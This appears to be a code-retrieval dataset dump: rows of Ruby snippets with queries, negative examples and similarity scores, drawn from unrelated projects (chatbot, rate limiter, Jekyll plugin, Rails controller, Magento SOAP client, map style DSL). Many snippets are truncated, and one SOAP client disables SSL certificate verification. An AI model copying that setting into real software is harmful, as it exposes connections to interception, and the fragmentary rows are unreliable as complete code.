"def gen_stub_method(klassname, name, options)\n raise \"Stub method with body is invalid!\" if options[:body]\n\n args = options[:arguments].dup\n unless args_convertable?(args)\n raise \"ERROR: Cannot ... | [
"0.6363494",
"0.5771629",
"0.57056373",
"0.56463706",
"0.54634446",
"0.53432006",
"0.52886057",
"0.52179617",
"0.51856095",
"0.5158142",
"0.51566607",
"0.5137984",
"0.5127937",
"0.51254433",
"0.510242",
"0.51017857",
"0.50975806",
"0.50846213",
"0.5053565",
"0.4994977",
"0.49... | 0.0 | -1 |
Wordnik.word.get_related(clean, :type => 'synonym').first | def print_script(os = $stdout)
@initial.each { |str| os.puts "initial: #{str}" }
@final.each { |str| os.puts "final: #{str}" }
@quit.each { |str| os.puts "quit: #{str}" }
@pre.each { |src,dest| os.puts "pre: #{src} #{dest}" }
@post.each { |src,dest| os.puts "post: #{src} #{dest}" }
@synons.values.each { |arr| os.puts "synon: #{arr.join(' ')}" }
@keys.values.each { |key| key.print(os) }
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def synonyms; end",
"def get_synonym(property, key)\n return unless property[:synonyms] && property[:synonyms].include?(key)\n property[:synonyms][key]\n end",
"def get_synonym_for(word, country = nil, age_from = nil, age_to = nil,\n gender = nil, education = nil)\n keyword =... | [
"0.6631257",
"0.64812505",
"0.6424375",
"0.6291994",
"0.62825245",
"0.62645686",
"0.61977905",
"0.61688715",
"0.61202085",
"0.6100466",
"0.60746443",
"0.59490734",
"0.59328616",
"0.59189725",
"0.5910308",
"0.59056836",
"0.59012884",
"0.5896674",
"0.58872426",
"0.5878345",
"0.... | 0.0 | -1 |
decompose will either return a new key to follow, the reply as a string or nil | def decompose(key, str)
STDERR.puts "trying keyword: #{key.name}" if @debug_print
for d in key.decompositions
STDERR.puts "trying decomposition: #{d.pattern}" if @debug_print
# build a regular expression
regex_str = d.pattern.gsub(/(\s*)\*(\s*)/) do |m|
s = ''
s += '\b' if not $1.empty?
s += '(.*)'
s += '\b' if not $2.empty?
s
end
# include all synonyms for words starting with @
regex_str.gsub!(/@(\w+)/) do |m|
"(#{@synons[$1].join('|')})"
end
STDERR.puts "decomposition regex: #{regex_str}" if @debug_print
if m = /#{regex_str}/.match(str)
return assemble(d, m)
end
end
nil
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def dec(key)\n \n end",
"def deconstruct_keys(...) = @deconstruct_keys ||= { name: name, before: before, from: from, at: at, type: type }",
"def decompose(raw_line)\n if raw_line =~ @@irc_line\n c = $~\n line = IRCSupport::Line.new\n\n if c[:tags]\n line.tags = {}\n... | [
"0.5594367",
"0.5576738",
"0.54128873",
"0.527966",
"0.5217818",
"0.52119505",
"0.5083428",
"0.5083428",
"0.5083428",
"0.5083428",
"0.50773895",
"0.5048288",
"0.50394464",
"0.49964622",
"0.49740884",
"0.49695957",
"0.49505502",
"0.49272853",
"0.4926417",
"0.48723856",
"0.4835... | 0.62779444 | 0 |
everything is the same here except we only return true (blocking the request) if they have tripped the limit. | def fail!(discriminator, bantime, findtime, maxretry)
count = cache.count("#{key_prefix}:count:#{discriminator}", findtime)
if count >= maxretry
ban!(discriminator, bantime)
end
# we may not block them this time, but they're banned for next time
false
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def limit_reached?\n end",
"def over_limit?\n count > max_calls\n end",
"def over_limit?\n connect\n redis.incr rate_limiter_key\n redis.get(rate_limiter_key).to_i > limit\n end",
"def req_limit_check block=nil\n\t\t\tif @reqs[:cnt] >= @req_limit && Time.now <= @reqs[:next_check]\n\t\t\t... | [
"0.765061",
"0.7471961",
"0.72476417",
"0.7227862",
"0.71303046",
"0.6947333",
"0.68967825",
"0.67821324",
"0.6779034",
"0.6724588",
"0.6677268",
"0.66370106",
"0.662997",
"0.662997",
"0.6585002",
"0.65844464",
"0.656747",
"0.6551081",
"0.64932185",
"0.64853036",
"0.64779854"... | 0.0 | -1 |
Jekyll hook the generate method is called by jekyll, and generates all of the tag pages. | def generate(site)
if site.layouts.key? 'tag_index'
dir = site.config['tag_dir'] || 'tag'
## Create Top level tag list /tag/index.html
write_all_tags_index(site, dir, site.tags.keys.sort_by { |x| x.downcase } )
## Create /tag/{{tag}}/index.html
site.tags.keys.each do |tag|
write_tag_index(site, File.join(dir, tag.to_url), tag)
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def generate_tag_pages\n active_tags.each { |tag, posts| new_tag(tag, posts) }\n end",
"def generate(site)\r\n if site.config['paginate_tag_basepath']\r\n posts_by_tag = get_posts_by_tag(site)\r\n \r\n site.pages << Index.new(site, site.source, posts_by_tag)\r\n ... | [
"0.7479472",
"0.7139086",
"0.67844915",
"0.63566774",
"0.6189092",
"0.61462057",
"0.6078805",
"0.6058109",
"0.60445464",
"0.60258806",
"0.59991497",
"0.59602016",
"0.5939498",
"0.5936398",
"0.5868743",
"0.5865058",
"0.5846156",
"0.58392256",
"0.58034754",
"0.5773395",
"0.5768... | 0.68562514 | 2 |
Outputs a single tag as an link. +tag+ is a tag string to format as an link Returns string | def tag_link(tag)
dir = @context.registers[:site].config['tag_dir'] || 'tag'
"<a class='tag' href='/#{dir}/#{tag.to_url}/'>#{tag}</a>"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def tagger_format tag\n \"<a href='/tags/#{tag}'>#{tag}</a>\"\n end",
"def link(tag)\n apply_uri_template @tag_link_template, tag: safe_parameterize(tag)\n end",
"def tag_link(t)\r\n link_to \"##{t}\", \"/post/tag/#{t}\", :class => \"linkRemote\" \r\n end",
"def add_tag_link(tag)\... | [
"0.8134017",
"0.75076044",
"0.70204985",
"0.6944355",
"0.6839579",
"0.67865545",
"0.67601055",
"0.67543876",
"0.66212565",
"0.6562037",
"0.65489197",
"0.6514611",
"0.6508197",
"0.64130574",
"0.6379667",
"0.6357072",
"0.62700546",
"0.62673813",
"0.6262078",
"0.62606895",
"0.62... | 0.7983811 | 1 |
GET /truck_orders GET /truck_orders.json | def index
if params[:commit] == "Filter"
date = Date.new(params[:date][:year].to_i, params[:date][:month].to_i, params[:date][:day].to_i)
@truck_orders = TruckOrder.where(:date => date)
return
end
@truck_orders = TruckOrder.all
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def getorders(args={})\n {\n :method=> \"GetOrders\"\n }.to_json\n end",
"def index\n @orders = Order.all\n render json: @orders\n end",
"def orders\n params = { command: 'account_orders' }\n get('/json.php', params)\n end",
"def index\n @orders = Order.all\n ... | [
"0.73601985",
"0.7164554",
"0.7148288",
"0.7090332",
"0.7061173",
"0.70184016",
"0.69269764",
"0.6923452",
"0.69017696",
"0.6899912",
"0.6888871",
"0.68767613",
"0.6863509",
"0.6863509",
"0.6863509",
"0.6863509",
"0.6863428",
"0.6835364",
"0.6822769",
"0.68161905",
"0.6664371... | 0.0 | -1 |
GET /truck_orders/1 GET /truck_orders/1.json | def show
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @trucks = Truck.all\n\n render json: @trucks\n end",
"def get_order(order_id)\n\tputs \"Getting order: \" + order_id\n\tresponse = request_get(\"/api/order/\" + order_id)\n\tputs response.body\nend",
"def index\n @orders = Order.all\n render json: @orders\n end",
"def getorders(args... | [
"0.6873805",
"0.68450505",
"0.68321806",
"0.68141645",
"0.680183",
"0.67933404",
"0.6712884",
"0.66358334",
"0.66280305",
"0.66258997",
"0.66181624",
"0.6615365",
"0.6615365",
"0.6615365",
"0.6615365",
"0.6615187",
"0.6607256",
"0.65815353",
"0.65645546",
"0.65593934",
"0.655... | 0.0 | -1 |
POST /truck_orders POST /truck_orders.json | def create
@truck_order = TruckOrder.new(truck_order_params)
respond_to do |format|
if @truck_order.save
format.html { redirect_to @truck_order, notice: 'Truck order was successfully created.' }
format.json { render :show, status: :created, location: @truck_order }
else
format.html { render :new }
format.json { render json: @truck_order.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def submit_order()\n\tputs \"Submitting order\"\n\tdata = create_order()\n\tresponse = request_post(\"/api/order\", data)\n\tputs response.body\nend",
"def create\n order = Order.create(order_params)\n render json: order\nend",
"def create_order(order_params)\n res = request('post', \"https://#{orde... | [
"0.7118551",
"0.7010529",
"0.69909775",
"0.68389404",
"0.682011",
"0.6673263",
"0.6640283",
"0.6636811",
"0.6621691",
"0.6581636",
"0.65655327",
"0.6564291",
"0.65466374",
"0.6527241",
"0.6527241",
"0.6527241",
"0.6527241",
"0.6526418",
"0.6525339",
"0.65157646",
"0.6512952",... | 0.7131937 | 0 |
PATCH/PUT /truck_orders/1 PATCH/PUT /truck_orders/1.json | def update
respond_to do |format|
if @truck_order.update(truck_order_params)
@truck_order.truck_truck_orders.where(truck_id: nil).delete_all
format.html { redirect_to @truck_order, notice: 'Truck order was successfully updated.' }
format.json { render :show, status: :ok, location: @truck_order }
else
format.html { render :edit }
format.json { render json: @truck_order.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n #@order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edi... | [
"0.6499678",
"0.6495645",
"0.64820004",
"0.64771885",
"0.64764756",
"0.64704955",
"0.64704955",
"0.64587605",
"0.64369863",
"0.6436268",
"0.6420037",
"0.6420037",
"0.6420037",
"0.6420037",
"0.6420037",
"0.6413565",
"0.641342",
"0.641342",
"0.641342",
"0.641342",
"0.641342",
... | 0.71291685 | 0 |
DELETE /truck_orders/1 DELETE /truck_orders/1.json | def destroy
@truck_order.destroy
respond_to do |format|
format.html { redirect_to truck_orders_url, notice: 'Truck order was successfully destroyed.' }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @v1_order = V1::Order.find(params[:id])\n @v1_order.destroy\n\n head :no_content\n end",
"def destroy\n @order_item.destroy\n\n render json: { operation: 'OK' }, status: :ok\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @order.destroy\n re... | [
"0.71555084",
"0.71504337",
"0.7108455",
"0.70551527",
"0.70500225",
"0.6961116",
"0.69406474",
"0.6924573",
"0.69013613",
"0.68756735",
"0.68656796",
"0.6842161",
"0.6842161",
"0.6842161",
"0.6842161",
"0.6842161",
"0.684178",
"0.6836106",
"0.6836106",
"0.6836106",
"0.683610... | 0.707278 | 3 |
Use callbacks to share common setup or constraints between actions. | def set_truck_order
@truck_order = TruckOrder.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_... | [
"0.61637366",
"0.60446453",
"0.59452957",
"0.591511",
"0.58885515",
"0.5834122",
"0.57761765",
"0.5702554",
"0.5702554",
"0.5652102",
"0.5619581",
"0.5423898",
"0.5409782",
"0.5409782",
"0.5409782",
"0.5394745",
"0.53780794",
"0.5356209",
"0.5338898",
"0.53381324",
"0.5328622... | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def truck_order_params
params.require(:truck_order).permit(:truck_order_id ,:date, :_destroy, truck_truck_orders_attributes: [:id, :truck_id, :time, truck_attributes: [:id ,:unitload, :numberpallets, :supplier, :licenseplate, :shippingagency, :occupied, :incoming, :outgoing, :ordernumber, :request_number, :delivery_note_number, :_destroy, truck_employees_attributes: [:id , :employee_id, :_destroy], incomming_good_attributes: [:id , :ordernumber, :_destroy], outgoing_good_attributes: [:id , :request_number, :delivery_note_number , :_destroy]]])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n... | [
"0.6981606",
"0.6784227",
"0.6746523",
"0.67439264",
"0.67361516",
"0.6593381",
"0.6506166",
"0.64994407",
"0.6483518",
"0.64797056",
"0.64578557",
"0.6441216",
"0.63811713",
"0.63773805",
"0.6366333",
"0.63217646",
"0.6301816",
"0.63009787",
"0.6294436",
"0.62940663",
"0.629... | 0.0 | -1 |
message_with_attributes are required for some specific formatting when updating Magento via the SOAP API | def message_with_attributes
@request.body.merge!(:attributes! => @request.attributes) unless @request.attributes.empty?
puts "REQUEST: #{@request.inspect}"
return @request.body
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def message_attributes\n data[:message_attributes]\n end",
"def attributes_status_messages\n messages = []\n # messages << ( senior.blank? ? \"Senior is blank\" : nil)\n # # check all these attributes, but save processor time with condition within block\n messages += [ :senior, :installation_... | [
"0.6358396",
"0.5788975",
"0.56967604",
"0.55178785",
"0.54523665",
"0.5413285",
"0.5409889",
"0.54023945",
"0.5384623",
"0.53392446",
"0.52656007",
"0.52512354",
"0.52503395",
"0.5244435",
"0.5235896",
"0.5235896",
"0.5233179",
"0.52167976",
"0.518656",
"0.5180591",
"0.51680... | 0.6203997 | 1 |
configuration of the client is mostly mandatory, however some of these options (like timeout) will be made configurable in the future TODO: make timeout configurable | def client
Savon::Client.new do |savon|
savon.ssl_verify_mode :none
savon.wsdl base_url
savon.namespaces namespaces
savon.env_namespace 'SOAP-ENV'
savon.raise_errors false
#savon.namespace_identifier #none
savon.convert_request_keys_to :lower_camelcase
savon.strip_namespaces true
savon.pretty_print_xml true
savon.log log_env
savon.open_timeout 10 #seconds
savon.read_timeout 45 #seconds
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def configure_client(options = T.unsafe(nil)); end",
"def override_client_config_timeouts config\n config.timeout = timeout\n rpc_names = config.rpcs.methods - Object.methods\n rpc_names.each do |rpc_name|\n rpc = config.rpcs.send rpc_name\n rpc.timeout = timeout ... | [
"0.74135435",
"0.6926285",
"0.68860996",
"0.68659055",
"0.6863906",
"0.67651343",
"0.67534447",
"0.66752946",
"0.66586375",
"0.6657055",
"0.6647823",
"0.66089517",
"0.65658015",
"0.65583",
"0.65583",
"0.6551465",
"0.6473461",
"0.64641017",
"0.6433593",
"0.64218783",
"0.642187... | 0.0 | -1 |
correctly format MagentoApiWrapper::Request call_names for SOAP v2 | def response_tag_format_lambda
lambda { |key| key.snakecase.downcase }
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def soap_call(name, method, params = {})\n begin\n result = @service.request(name) do |soap|\n # soap.action = \"KashFlow/#{method}\"\n\n params = params.pop if params.is_a?(Array)\n params_xml = Gyoku.xml(params, { key_converter: :camelcase }) if params.present?\n\n ... | [
"0.60779744",
"0.59939545",
"0.5861437",
"0.56937456",
"0.566191",
"0.56613845",
"0.561248",
"0.55249584",
"0.55029273",
"0.5479471",
"0.54712677",
"0.54667336",
"0.5466461",
"0.54616094",
"0.543384",
"0.54327697",
"0.54031533",
"0.5395266",
"0.53906256",
"0.5387644",
"0.5365... | 0.0 | -1 |
Use MagentoApiWrapper::Api magento_url as endpoint | def base_url
"#{@magento_url}/api/v2_soap?wsdl=1"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def rest_endpoint; end",
"def merchant_endpoint; end",
"def url\n api_url\n end",
"def rest_endpoint=(_arg0); end",
"def merchant_endpoint=(_arg0); end",
"def url\n @url || API_ENDPOINT\n end",
"def endpoint_url\n # @@api_base + @request.endpoint\n ApiBase + @endpoint\n end... | [
"0.6792133",
"0.6679702",
"0.66348374",
"0.6523316",
"0.64754707",
"0.6470659",
"0.64087117",
"0.63724136",
"0.63661",
"0.6324192",
"0.6289407",
"0.6282975",
"0.62331927",
"0.62037534",
"0.6171066",
"0.61692244",
"0.616753",
"0.61597157",
"0.6145384",
"0.6132255",
"0.6123817"... | 0.7728456 | 0 |
handle buttons pressed on the button bar | def button
@edit = session[:edit] # Restore @edit for adv search box
params[:display] = @display if %w(vms instances images).include?(@display)
params[:page] = @current_page unless @current_page.nil? # Save current page for list refresh
return tag("CloudTenant") if params[:pressed] == 'cloud_tenant_tag'
if params[:pressed].starts_with?("vm_", # Handle buttons from sub-items screen
"miq_template_",
"guest_",
"image_",
"instance_")
pfx = pfx_for_vm_button_pressed(params[:pressed])
process_vm_buttons(pfx)
return if ["#{pfx}_policy_sim", "#{pfx}_compare", "#{pfx}_tag", "#{pfx}_retire",
"#{pfx}_protect", "#{pfx}_ownership", "#{pfx}_refresh", "#{pfx}_right_size",
"#{pfx}_reconfigure"].include?(params[:pressed]) &&
@flash_array.nil?
unless ["#{pfx}_edit", "#{pfx}_miq_request_new", "#{pfx}_clone",
"#{pfx}_migrate", "#{pfx}_publish"].include?(params[:pressed])
@refresh_div = "main_div"
@refresh_partial = "layouts/gtl"
show
end
elsif params[:pressed] == "custom_button"
custom_buttons
# custom button screen, so return, let custom_buttons method handle everything
return
end
render_button_partial(pfx)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def on_button_down( button_id )\n end",
"def button_down; end",
"def update\n\t\t@controller.buttons_pressed_down if @controller\n\tend",
"def buttons; end",
"def button_down(key)\n end",
"def update_ctrl_button\n if Input.trigger?(:B) # Quit\n action_b\n elsif Input.trigger?(:A) #... | [
"0.7143816",
"0.7133162",
"0.70978194",
"0.7055826",
"0.69080216",
"0.68845147",
"0.6833946",
"0.6724857",
"0.6656417",
"0.6500912",
"0.64829963",
"0.6479117",
"0.6448409",
"0.64387935",
"0.64273435",
"0.6382735",
"0.62950176",
"0.62782973",
"0.62382376",
"0.6234785",
"0.6234... | 0.5750878 | 77 |
1 Gigasecond == 109 seconds | def initialize(date_of_birth)
if date_of_birth.kind_of?(Date)
@date_of_birth = date_of_birth
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def cstime=(*) end",
"def cstime(*) end",
"def milliseconds() Float(self * (10 ** -3)) end",
"def time; end",
"def time; end",
"def time; end",
"def time; end",
"def time; end",
"def time; end",
"def time; end",
"def time; end",
"def time; end",
"def seconds\n _nudge[2]\n end",
"def ... | [
"0.7362241",
"0.7316144",
"0.7212535",
"0.7016887",
"0.7016887",
"0.7016887",
"0.7016887",
"0.7016887",
"0.7016887",
"0.7016887",
"0.7016887",
"0.7016887",
"0.6969694",
"0.694306",
"0.6936578",
"0.6905204",
"0.68847406",
"0.6821815",
"0.67743766",
"0.6762821",
"0.6762267",
... | 0.0 | -1 |
Calculates date of the 1Gs party. | def date
party_time = (@date_of_birth.to_time + SECONDS)
party_time.to_date
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def date\n @birth_date + @giga_second_in_days\n end",
"def immersive_start_date\n @p0_start_date + 63\n end",
"def date; end",
"def date; end",
"def date; end",
"def date; end",
"def date()\n\t\t(@start_date.to_time + (10**9)).to_date\n\tend",
"def next_date\n next_observance.try(:start_on... | [
"0.637008",
"0.6187484",
"0.6160266",
"0.6160266",
"0.6160266",
"0.6160266",
"0.61451125",
"0.6115605",
"0.6040834",
"0.6029864",
"0.59173006",
"0.5910474",
"0.59082466",
"0.5899726",
"0.58916444",
"0.5848805",
"0.5817461",
"0.58131576",
"0.5811771",
"0.5781112",
"0.5773498",... | 0.663754 | 0 |
Handle all missing 'method' calls If we can match it to a GL property, it's an assignment: otherwise it's an OSM key | def method_missing(method_sym, *arguments)
if EXPRESSIONS.include?(method_sym)
return Condition.new.from_list(method_sym, arguments)
elsif LAYOUT.include?(method_sym) || PAINT.include?(method_sym) || TOP_LEVEL.include?(method_sym)
v = arguments.length==1 ? arguments[0] : arguments
if v.is_a?(Proc) then v=v.call(@kv[method_sym]) end
if @cascade_cond.nil?
@kv[method_sym] = v
else
_add_cascade_condition(method_sym, v)
end
else
return Condition.new.from_list("get", [method_sym])
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def method_missing(method_name, *args)\n warn \"Method missing: '#{method_name}'\"\n if (method_name =~ /request_(.+)/)\n property.key?($1) ? property.send($1) : (raise OmfRc::UnknownPropertyError, method_name.to_s)\n elsif (method_name =~ /configure_(.+)/)\n property.key?($1) ? property.send(\"... | [
"0.6200242",
"0.6158691",
"0.60834795",
"0.60730964",
"0.60277617",
"0.60025185",
"0.59819967",
"0.5894881",
"0.5853227",
"0.58430105",
"0.58109975",
"0.5802571",
"0.5756434",
"0.5741499",
"0.5712001",
"0.56984574",
"0.5693914",
"0.56687343",
"0.5634859",
"0.56299615",
"0.560... | 0.0 | -1 |
Convenience so we can write literal(1,2,3) rather than literal([1,2,3]) | def literal(*args)
if args.length==1 && args[0].is_a?(Hash)
# Hashes - literal(frog: 1, bill: 2)
Condition.new.from_list(:literal, [args[0]])
else
# Arrays - literal(1,2,3)
Condition.new.from_list(:literal, [args])
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def push_literal(*args); end",
"def push_literal(*args); end",
"def push_literal(*args); end",
"def lit *values\r\n if values.size == 1\r\n build_piece Literal, nil, values.first\r\n else\r\n one{\r\n for v in values\r\n build_piece Literal, nil, v\r\n end... | [
"0.68746203",
"0.68746203",
"0.68746203",
"0.6609801",
"0.6504207",
"0.6491816",
"0.63022846",
"0.5852162",
"0.5839659",
"0.5790104",
"0.5790104",
"0.57828116",
"0.57828116",
"0.57635856",
"0.5731421",
"0.5727609",
"0.57031804",
"0.5692688",
"0.5611206",
"0.5599851",
"0.55960... | 0.6085003 | 7 |
Add a sublayer with an additional filter | def on(*args, &block)
@child_num+=1
r = Layer.new(@stylesheet,
:id => "#{@kv[:id]}__#{@child_num}".to_sym,
:kv => @kv.dup, :cascades => @cascades.dup)
# Set zoom level
if args[0].is_a?(Range) || args[0].is_a?(Integer)
r.kv[:zoom] = args.shift
end
# Set condition
sub_cond = nil
if args.empty?
sub_cond = @condition # just inherit parent layer's condition
else
sub_cond = (args.length==1) ? args[0] : Condition.new.from_list(:any,args)
sub_cond = nilsafe_merge(sub_cond, @condition)
end
r._set_filter(nilsafe_merge(sub_cond, @uncascaded))
r.instance_eval(&block)
@stylesheet._add_layer(r)
# Create cascaded layers
child_chr='a'
@cascades.each do |c|
c_cond, c_kv = c
l = Layer.new(@stylesheet, :id=>"#{r.kv[:id]}__#{child_chr}", :kv=>r.kv.dup)
l._set_filter(nilsafe_merge(sub_cond, c_cond))
l.kv.merge!(c_kv)
@stylesheet._add_layer(l)
child_chr.next!
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def addfilter( newfilter )\n if not subfilter\n @subfilter = newfilter\n else\n subfilter.addfilter( newfilter )\n end\n return self\n end",
"def add_layer(thickness, conductivity, density, specific_heat)\n layer = Layer.new()\n # Make sure all the values are > 0.\n ... | [
"0.6815504",
"0.58316016",
"0.58299387",
"0.58184254",
"0.5791353",
"0.57242453",
"0.5676052",
"0.5604147",
"0.55827075",
"0.5552707",
"0.55110645",
"0.5433952",
"0.54206",
"0.5403283",
"0.5388675",
"0.5226585",
"0.52124155",
"0.5180049",
"0.517986",
"0.5129641",
"0.5124941",... | 0.45380676 | 74 |
Add a cascading condition | def cascade(*args, &block)
cond = (args.length==1) ? args[0] : Condition.new.from_list(:any,args)
@cascade_cond = cond
self.instance_eval(&block)
@cascade_cond = nil
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def add_condition(condition)\n @conditions[condition.id] = condition\n end",
"def add_dependency_condition(dc_obj)\n dc_obj.dependency_id = self.id\n self.dependency_conditions << dc_obj\n end",
"def add_condition(column, conditions)\n @generated_conditions << [column, conditions] unless condit... | [
"0.6327731",
"0.6275197",
"0.6014932",
"0.58572775",
"0.5824506",
"0.5813443",
"0.57654446",
"0.57240903",
"0.57174855",
"0.5711074",
"0.56981456",
"0.5663342",
"0.566024",
"0.5621844",
"0.56151223",
"0.55801046",
"0.55801046",
"0.55221874",
"0.5452716",
"0.5447921",
"0.54188... | 0.67726886 | 0 |
Suppress output of this layer | def suppress; @write = false end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def suppress\n return unless @track_visibility\n\n @suppressed = true\n\n stop_doc\n end",
"def suppress_output(&block)\n $stdout = File.new(\"/dev/null\", \"w\")\n $stderr = File.new(\"/dev/null\", \"w\")\n result = block.call\n $stdout = STDOUT\n $stderr = STDERR\n result\n end",
... | [
"0.66824263",
"0.6576479",
"0.6463019",
"0.64039874",
"0.63489985",
"0.63433015",
"0.6274745",
"0.62597024",
"0.62548804",
"0.6230753",
"0.62169194",
"0.62092406",
"0.619244",
"0.60867923",
"0.60821587",
"0.60821587",
"0.6076407",
"0.60687304",
"0.604129",
"0.60391605",
"0.60... | 0.7072988 | 0 |
Squarebracket filters (any[...], all[...]) | def any ; return Subscriptable.new(:any ) end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def filter(*args); Typelib.filter_function_args(args, self) end",
"def filter(expr); end",
"def filter(expr); end",
"def filters=(_arg0); end",
"def filters=(_arg0); end",
"def filter!; end",
"def blank_predicate_filters_must_search_any\n @query.filters.each { |f| f.op = :is_any if f.pred_uri.blank?... | [
"0.642424",
"0.6329422",
"0.6329422",
"0.6291369",
"0.6291369",
"0.6281208",
"0.62804794",
"0.62799793",
"0.62198234",
"0.6209779",
"0.61949784",
"0.61289245",
"0.61289245",
"0.609018",
"0.6074951",
"0.6052258",
"0.6052258",
"0.6052258",
"0.60363096",
"0.5964747",
"0.5950195"... | 0.0 | -1 |
Deduce 'type' attribute from style attributes | def set_type_from(s)
return unless s.include?('-')
t = (s=~/^fill-extrusion/ ? "fill-extrusion" : s.split('-')[0]).to_sym
if t==:icon || t==:text then t=:symbol end
if @type && @type!=t then raise "Attribute #{s} conflicts with deduced type #{@type} in layer #{@kv[:id]}" end
@type=t
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def [](type)\n (@styles_by_type ||= {})[type.to_sym] ||= []\n end",
"def get_style(attribute)\n `var el=this.__native__,attr=attribute.__value__.replace(/[_-]\\\\D/g, function(match){return match.charAt(1).toUpperCase();}),result=el.style[attr]`\n `result===undefined?nil:$q(result)`\n end",
"def... | [
"0.67138386",
"0.65628594",
"0.64311033",
"0.63967115",
"0.63689363",
"0.6239975",
"0.6068253",
"0.6026409",
"0.59237206",
"0.5875204",
"0.5869596",
"0.58394206",
"0.58394206",
"0.58394206",
"0.5795102",
"0.5794407",
"0.5792454",
"0.5740782",
"0.57398283",
"0.570657",
"0.5701... | 0.63069403 | 5 |
Create a GLformat hash from a layer definition | def to_hash
hash = { :layout=> {}, :paint => {} }
# Assign key/values to correct place
@kv.each do |k,v|
s = k.to_s.gsub('_','-')
if s.include?('-color') && v.is_a?(Integer) then v = "#%06x" % v end
if v.respond_to?(:encode) then v=v.encode end
if LAYOUT.include?(k)
hash[:layout][s]=v
set_type_from s
elsif PAINT.include?(k)
hash[:paint][s]=v
set_type_from s
elsif TOP_LEVEL.include?(k) || HIDDEN.include?(k)
hash[s]=v
else raise "#{s} isn't a recognised layer attribute"
end
end
hash['type'] = @type
if @condition then hash['filter'] = @condition.encode end
# Convert zoom level
if (v=hash['zoom'])
hash['minzoom'] = v.is_a?(Range) ? v.first : v
hash['maxzoom'] = v.is_a?(Range) ? v.last : v
hash.delete('zoom')
end
# See if we can reuse an earlier layer's properties
mk = ref_key(hash)
if stylesheet.refs[mk]
REF_PROPERTIES.each { |k| hash.delete(k) }
hash['ref'] = stylesheet.refs[mk]
else
stylesheet.refs[mk] = hash['id']
end
if hash[:layout].empty? && hash[:paint].empty?
nil
else
hash.delete(:layout) if hash[:layout].empty?
hash.delete(:paint) if hash[:paint].empty?
hash
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def hash\n [background_pattern_color, foreground_pattern_color, texture].hash\n end",
"def hash\r\n\t\treturn @name.hash() + @type.hash()\r\n\tend",
"def hash\n [type, direction, shape, stops, linear_angle, is_scaled, tile_flip].hash\n end",
"def hash\n [blur, glow, inner_shadow, outer_s... | [
"0.57191116",
"0.5565522",
"0.54796886",
"0.54232544",
"0.5417849",
"0.5413884",
"0.5403156",
"0.537946",
"0.5364741",
"0.53339714",
"0.533321",
"0.53268206",
"0.53268206",
"0.53268206",
"0.53268206",
"0.53268206",
"0.53268206",
"0.53268206",
"0.529323",
"0.52569205",
"0.5254... | 0.6096163 | 0 |
Key to identify matching layer properties (slow but...) | def ref_key(hash)
